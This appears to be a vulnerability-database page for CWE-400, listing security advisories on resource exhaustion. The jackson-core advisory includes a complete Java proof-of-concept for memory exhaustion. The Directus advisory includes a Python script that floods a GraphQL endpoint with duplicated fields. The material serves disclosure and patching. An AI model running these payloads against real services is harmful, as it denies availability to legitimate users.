CWE-400
Weakness DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
Dimensions
- Behavior-Property: Uncontrolled
- Behavior-Type: Consumption
- Resource-Type: Resource
Mapping guidance
CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).
Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.
Modes of introduction
The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.
The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.
There are at least three distinct scenarios that can commonly lead to resource exhaustion:
Lack of throttling for the number of allocated resources.
Losing all references to a resource before reaching the shutdown stage.
Not closing/returning a resource after processing.
Resource exhaustion problems often occur due to an incorrect implementation of the following situations:
Error conditions and other exceptional circumstances.
Confusion over which part of the program is responsible for releasing the resource.
Detection methods
Automated Static Analysis
Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.
Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.
Effectiveness: Limited
Automated Dynamic Analysis
Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.
Effectiveness: Moderate
Fuzzing
While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.
Effectiveness: Opportunistic
Notes
Theoretical
Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.
Other
Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.
A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.
Limited resources include memory, file system storage, database connection pool entries, CPU, and others.
Content history
Suggested mappings to ISA/IEC 62443.
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability.
updated Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
updated Description, Name, Relationships
updated Description
updated Name, Relationships
updated Description, Relationships
updated Relationships
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
updated Related_Attack_Patterns
updated Description
updated Demonstrative_Examples
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships
updated Relationships
updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships
updated References, Type
updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes
updated Related_Attack_Patterns, Relationships
updated Description, Relationships
updated Description, References, Related_Attack_Patterns, Relationships
updated Description, Maintenance_Notes
updated Relationships
updated Related_Attack_Patterns
updated Observed_Examples, Relationships
updated Observed_Examples, Relationships
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships
updated Relationships
updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction
updated Observed_Examples, References
updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities
updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
7207 vulnerabilities reference this CWE, most recent first.
GHSA-7HHH-6RMP-J9QF
Vulnerability from github – Published: 2026-10-01 15:20 – Updated: 2026-10-01 15:20Status
FULLY REPRODUCED. A malformed token fed through createParser(DataInput) produced a
20,000,109-character exception message from a 20-million-character attacker payload, while the
identical payload fed through createParser(InputStream) produced a correctly bounded
367-character message.
Affected Component / Version
- Package:
com.fasterxml.jackson.core:jackson-core - Confirmed against:
jackson-core-2.20.2 - Affected file:
src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java(_reportInvalidToken(int, String, String), lines ~2763-2780 in the 2.20.2 tree)
Technical Analysis
UTF8DataInputJsonParser._reportInvalidToken() builds the offending-token description for its
exception message by appending identifier characters one at a time to a bare StringBuilder:
protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {
StringBuilder sb = new StringBuilder(matchedPart);
while (true) {
char c = (char) _decodeCharForError(ch);
if (!Character.isJavaIdentifierPart(c)) {
break;
}
sb.append(c);
ch = _inputData.readUnsignedByte();
}
_reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg);
}
There is no check against ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)
anywhere in this loop. By contrast, the sibling UTF8StreamJsonParser implementation of the
same logic does enforce it:
// UTF8StreamJsonParser.java (control, correctly bounded)
if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {
sb.append("...");
break;
}
ReaderBasedJsonParser and NonBlockingUtf8JsonParserBase also correctly enforce the limit —
this is a defect isolated to the DataInput-backed implementation specifically, confirmed by
direct comparison of all four parser implementations in this tree.
This path is additionally left with no fallback control: because of [core#1570]-related
logic in JsonFactory, configuring maxDocumentLength causes DataInput-sourced parser
creation to be rejected outright, so a document-length backstop cannot coexist with this input
source, and the identifier-character accumulation never passes through
ReadConstrainedTextBuffer, so maxStringLength does not apply either. There is no
configuration an application can set to mitigate this specific path.
Reproduction Procedure
Same clone/build steps as jackson-core_1_...md. Then:
CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java
java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder
Full PoC Source (poc/PoC6_UnboundedErrorTokenStringBuilder.java)
import com.fasterxml.jackson.core.*;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;
public class PoC6_UnboundedErrorTokenStringBuilder {
static class RepeatingByteInputStream extends InputStream {
private final int b;
private long remaining;
RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }
@Override public int read() {
if (remaining <= 0) return -1;
remaining--;
return b;
}
}
public static void main(String[] args) throws Exception {
final long IDENTIFIER_CHAR_COUNT = 20_000_000L;
System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT
+ " Java-identifier characters ('x'), then a terminating space, never completing"
+ " \"true\"/\"false\"/\"null\"/NaN.\n");
System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===");
{
InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
DataInputStream dataIn = new DataInputStream(raw);
JsonFactory factory = new JsonFactory();
JsonParser p = factory.createParser((java.io.DataInput) dataIn);
long heapBefore = usedHeap();
long t0 = System.nanoTime();
String message = null;
try {
p.nextToken(); p.nextToken(); p.nextToken();
} catch (JsonParseException e) {
message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
} catch (IOException e) {
message = "(stream ended: " + e + ")";
}
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
long heapAfter = usedHeap();
int msgLen = message == null ? -1 : message.length();
System.out.println("Exception message length: " + msgLen + " characters");
System.out.println("Elapsed time: " + elapsedMs + " ms");
System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB");
System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT
+ "-character payload (unbounded)? " + (msgLen > 1_000_000));
}
System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===");
{
InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
JsonFactory factory = new JsonFactory();
JsonParser p = factory.createParser(raw);
long t0 = System.nanoTime();
String message = null;
try {
p.nextToken(); p.nextToken(); p.nextToken();
} catch (JsonParseException e) {
message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
} catch (IOException e) {
message = "(stream ended: " + e + ")";
}
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
int msgLen = message == null ? -1 : message.length();
System.out.println("Exception message length: " + msgLen + " characters");
System.out.println("Elapsed time: " + elapsedMs + " ms");
System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500));
}
}
static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {
InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);
return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));
}
static long usedHeap() {
Runtime rt = Runtime.getRuntime();
System.gc();
return rt.totalMemory() - rt.freeMemory();
}
}
Captured Evidence (actual run output)
Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating
space, never completing "true"/"false"/"null"/NaN.
=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===
Exception message length: 20000109 characters
Elapsed time: 81 ms
Approx additional heap used (best-effort, GC-noisy): 38 MB
Message length is proportional to the full 20000000-character attacker payload (unbounded)? true
=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===
Exception message length: 367 characters
Elapsed time: 7 ms
Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true
The same 20-million-character malformed token, fed to the two parser variants, produces a
367-character message via the correctly-bounded InputStream path and a 20,000,109-character
message via the vulnerable DataInput path — a difference of roughly 54,500x for identical
input, confirming the missing bound is the sole cause of the difference.
Impact
Any application creating parsers via JsonFactory.createParser(DataInput) over
attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth
from a single malformed token. Scaling the payload from the 20MB demonstrated here to
gigabytes (well within a typical unbounded request body) would drive the accumulated
StringBuilder — which additionally undergoes byte-to-char expansion and internal doubling —
to consume many times the raw payload size, realistically triggering OutOfMemoryError and
denying service to the whole JVM process. Critically, no available configuration mitigates
this: maxDocumentLength cannot be set for DataInput sources at all, and maxStringLength
does not apply to this code path.
Remediation
- Add the
maxErrorTokenLengthcheck to the append loop inUTF8DataInputJsonParser._reportInvalidToken(), appending"..."and breaking when the limit is reached — mirroring the three other parser implementations exactly. - Add a parameterized regression test across all four parser implementations asserting the
exception message length is bounded by
maxErrorTokenLengthplus a small constant. - Consider extracting this bounded-scan logic into a single shared helper on
ParserMinimalBaseto prevent this class of per-implementation drift recurring.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.21.6"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.22.2"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.6"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.2.2"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.10"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.18.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-89425"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-01T15:20:27Z",
"nvd_published_at": "2026-09-23T03:17:04Z",
"severity": "HIGH"
},
"details": "## Status\n\n**FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a\n20,000,109-character exception message from a 20-million-character attacker payload, while the\nidentical payload fed through `createParser(InputStream)` produced a correctly bounded\n367-character message.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java`\n (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree)\n\n## Technical Analysis\n\n`UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its\nexception message by appending identifier characters one at a time to a bare `StringBuilder`:\n\n```java\nprotected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {\n StringBuilder sb = new StringBuilder(matchedPart);\n while (true) {\n char c = (char) _decodeCharForError(ch);\n if (!Character.isJavaIdentifierPart(c)) {\n break;\n }\n sb.append(c);\n ch = _inputData.readUnsignedByte();\n }\n _reportError(\"Unrecognized token \u0027\"+sb.toString()+\"\u0027: was expecting \"+msg);\n}\n```\n\nThere is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256)\nanywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the\nsame logic does enforce it:\n\n```java\n// UTF8StreamJsonParser.java (control, correctly bounded)\nif (sb.length() \u003e= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {\n sb.append(\"...\");\n break;\n}\n```\n\n`ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit \u2014\nthis is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by\ndirect comparison of all four parser implementations in this tree.\n\nThis path is additionally left with **no fallback control**: because of `[core#1570]`-related\nlogic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser\ncreation to be rejected outright, so a document-length backstop cannot coexist with this input\nsource, and the identifier-character accumulation never passes through\n`ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no\nconfiguration an application can set to mitigate this specific path.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java\njava -Xmx2g -cp \"poc:$CP\" PoC6_UnboundedErrorTokenStringBuilder\n```\n\n## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`)\n\n```java\nimport com.fasterxml.jackson.core.*;\n\nimport java.io.DataInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class PoC6_UnboundedErrorTokenStringBuilder {\n\n static class RepeatingByteInputStream extends InputStream {\n private final int b;\n private long remaining;\n RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }\n @Override public int read() {\n if (remaining \u003c= 0) return -1;\n remaining--;\n return b;\n }\n }\n\n public static void main(String[] args) throws Exception {\n final long IDENTIFIER_CHAR_COUNT = 20_000_000L;\n\n System.out.println(\"Malformed token: \\\"t\\\" followed by \" + IDENTIFIER_CHAR_COUNT\n + \" Java-identifier characters (\u0027x\u0027), then a terminating space, never completing\"\n + \" \\\"true\\\"/\\\"false\\\"/\\\"null\\\"/NaN.\\n\");\n\n System.out.println(\"=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\");\n {\n InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n new RepeatingByteInputStream(\u0027x\u0027, IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n DataInputStream dataIn = new DataInputStream(raw);\n JsonFactory factory = new JsonFactory();\n JsonParser p = factory.createParser((java.io.DataInput) dataIn);\n\n long heapBefore = usedHeap();\n long t0 = System.nanoTime();\n String message = null;\n try {\n p.nextToken(); p.nextToken(); p.nextToken();\n } catch (JsonParseException e) {\n message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n } catch (IOException e) {\n message = \"(stream ended: \" + e + \")\";\n }\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n long heapAfter = usedHeap();\n\n int msgLen = message == null ? -1 : message.length();\n System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n System.out.println(\"Approx additional heap used: \" + ((heapAfter - heapBefore) / (1024 * 1024)) + \" MB\");\n System.out.println(\"Message length proportional to the full \" + IDENTIFIER_CHAR_COUNT\n + \"-character payload (unbounded)? \" + (msgLen \u003e 1_000_000));\n }\n\n System.out.println(\"\\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\");\n {\n InputStream raw = concat3(\"{\\\"a\\\": t\".getBytes(\"UTF-8\"),\n new RepeatingByteInputStream(\u0027x\u0027, IDENTIFIER_CHAR_COUNT), \" }\".getBytes(\"UTF-8\"));\n JsonFactory factory = new JsonFactory();\n JsonParser p = factory.createParser(raw);\n\n long t0 = System.nanoTime();\n String message = null;\n try {\n p.nextToken(); p.nextToken(); p.nextToken();\n } catch (JsonParseException e) {\n message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();\n } catch (IOException e) {\n message = \"(stream ended: \" + e + \")\";\n }\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n int msgLen = message == null ? -1 : message.length();\n System.out.println(\"Exception message length: \" + msgLen + \" characters\");\n System.out.println(\"Elapsed time: \" + elapsedMs + \" ms\");\n System.out.println(\"Message length bounded near default maxErrorTokenLength (256)? \" + (msgLen \u003c 500));\n }\n }\n\n static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {\n InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);\n return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));\n }\n\n static long usedHeap() {\n Runtime rt = Runtime.getRuntime();\n System.gc();\n return rt.totalMemory() - rt.freeMemory();\n }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nMalformed token: \"t\" followed by 20000000 Java-identifier characters (\u0027x\u0027), then a terminating\nspace, never completing \"true\"/\"false\"/\"null\"/NaN.\n\n=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===\nException message length: 20000109 characters\nElapsed time: 81 ms\nApprox additional heap used (best-effort, GC-noisy): 38 MB\nMessage length is proportional to the full 20000000-character attacker payload (unbounded)? true\n\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===\nException message length: 367 characters\nElapsed time: 7 ms\nMessage length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true\n```\n\nThe same 20-million-character malformed token, fed to the two parser variants, produces a\n367-character message via the correctly-bounded `InputStream` path and a 20,000,109-character\nmessage via the vulnerable `DataInput` path \u2014 a difference of roughly 54,500x for identical\ninput, confirming the missing bound is the sole cause of the difference.\n\n## Impact\n\nAny application creating parsers via `JsonFactory.createParser(DataInput)` over\nattacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth\nfrom a single malformed token. Scaling the payload from the 20MB demonstrated here to\ngigabytes (well within a typical unbounded request body) would drive the accumulated\n`StringBuilder` \u2014 which additionally undergoes byte-to-char expansion and internal doubling \u2014\nto consume many times the raw payload size, realistically triggering `OutOfMemoryError` and\ndenying service to the whole JVM process. Critically, **no available configuration mitigates\nthis**: `maxDocumentLength` cannot be set for `DataInput` sources at all, and `maxStringLength`\ndoes not apply to this code path.\n\n## Remediation\n\n1. Add the `maxErrorTokenLength` check to the append loop in\n `UTF8DataInputJsonParser._reportInvalidToken()`, appending `\"...\"` and breaking when the\n limit is reached \u2014 mirroring the three other parser implementations exactly.\n2. Add a parameterized regression test across all four parser implementations asserting the\n exception message length is bounded by `maxErrorTokenLength` plus a small constant.\n3. Consider extracting this bounded-scan logic into a single shared helper on\n `ParserMinimalBase` to prevent this class of per-implementation drift recurring.",
"id": "GHSA-7hhh-6rmp-j9qf",
"modified": "2026-10-01T15:20:27Z",
"published": "2026-10-01T15:20:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89425"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1698"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -\u003e unbounded StringBuilder growth (DoS)"
}
GHSA-7HJ9-RV74-5G92
Vulnerability from github – Published: 2023-04-11 20:59 – Updated: 2025-02-13 18:53Impact
There is a vulnerability in Go when parsing the HTTP headers, which impacts Traefik. HTTP header parsing could allocate substantially more memory than required to hold the parsed headers. This behavior could be exploited to cause a denial of service.
References
Patches
- https://github.com/traefik/traefik/releases/tag/v2.9.10
- https://github.com/traefik/traefik/releases/tag/v2.10.0-rc2
Workarounds
No workaround.
For more information
If you have any questions or comments about this advisory, please open an issue.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0-rc1"
},
{
"fixed": "2.10.0-rc2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.10.0-rc1"
]
}
],
"aliases": [
"CVE-2023-29013"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-11T20:59:22Z",
"nvd_published_at": "2023-04-14T19:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThere is a vulnerability in [Go when parsing the HTTP headers](https://groups.google.com/g/golang-announce/c/Xdv6JL9ENs8/m/OV40vnafAwAJ), which impacts Traefik.\nHTTP header parsing could allocate substantially more memory than required to hold the parsed headers. This behavior could be exploited to cause a denial of service.\n\n### References\n\n- [CVE-2023-24534](https://www.cve.org/CVERecord?id=CVE-2023-24534)\n\n### Patches\n- https://github.com/traefik/traefik/releases/tag/v2.9.10\n- https://github.com/traefik/traefik/releases/tag/v2.10.0-rc2\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).",
"id": "GHSA-7hj9-rv74-5g92",
"modified": "2025-02-13T18:53:59Z",
"published": "2023-04-11T20:59:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-7hj9-rv74-5g92"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29013"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/4ed3964b3586565519249bbdc55eb1b961c08c49"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-8v5j-pwr7-w5f8"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.10.0-rc2"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.9.10"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/Xdv6JL9ENs8/m/OV40vnafAwAJ"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230517-0008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Traefik HTTP header parsing could cause a denial of service "
}
GHSA-7HM5-HF53-P62V
Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2024-04-04 02:38particl through 0.17 (a chain-based proof-of-stake cryptocurrency) allows a remote denial of service. The attacker sends invalid headers/blocks. The attack requires no stake and can fill the victim's disk and RAM.
{
"affected": [],
"aliases": [
"CVE-2018-19153"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-05T21:15:00Z",
"severity": "HIGH"
},
"details": "particl through 0.17 (a chain-based proof-of-stake cryptocurrency) allows a remote denial of service. The attacker sends invalid headers/blocks. The attack requires no stake and can fill the victim\u0027s disk and RAM.",
"id": "GHSA-7hm5-hf53-p62v",
"modified": "2024-04-04T02:38:03Z",
"published": "2022-05-24T17:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19153"
},
{
"type": "WEB",
"url": "https://medium.com/%40dsl_uiuc/fake-stake-attacks-on-chain-based-proof-of-stake-cryptocurrencies-b8b05723f806"
},
{
"type": "WEB",
"url": "https://medium.com/@dsl_uiuc/fake-stake-attacks-on-chain-based-proof-of-stake-cryptocurrencies-b8b05723f806"
},
{
"type": "WEB",
"url": "http://fc19.ifca.ai/preproceedings/180-preproceedings.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7HMH-PFRP-VCX4
Vulnerability from github – Published: 2024-07-08 18:41 – Updated: 2024-11-18 16:26Summary
A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.
Details
Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:
By modifying the data sent and duplicating many times the fields a DoS attack is possible.
PoC
The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.
{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}
Although that payload seems harmless, a bigger one leaves the service unresponsive.
The following code might serve as a PoC written in Python3: ```# Field Duplication DoS
GitHub @asantof
import requests
CHANGE THIS VALUES: url, auth_token, query_name, collection_name
url = 'http://0.0.0.0:8055/graphql' auth_token = '' query_name = 'query_XXXXX' collection_name = ''
headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {auth_token}', }
id_payload = 'id ' * 200 max_payload = 'max {' + id_payload + ' } ' full_payload = max_payload * 200
data = { 'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }' }
print(data)
response = requests.post(url, headers=headers, json=data)
print(response.json()) ```
After running it the service will be unresponsive for a while:
Impact
The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@directus/env"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39895"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-08T18:41:00Z",
"nvd_published_at": "2024-07-08T17:15:11Z",
"severity": "HIGH"
},
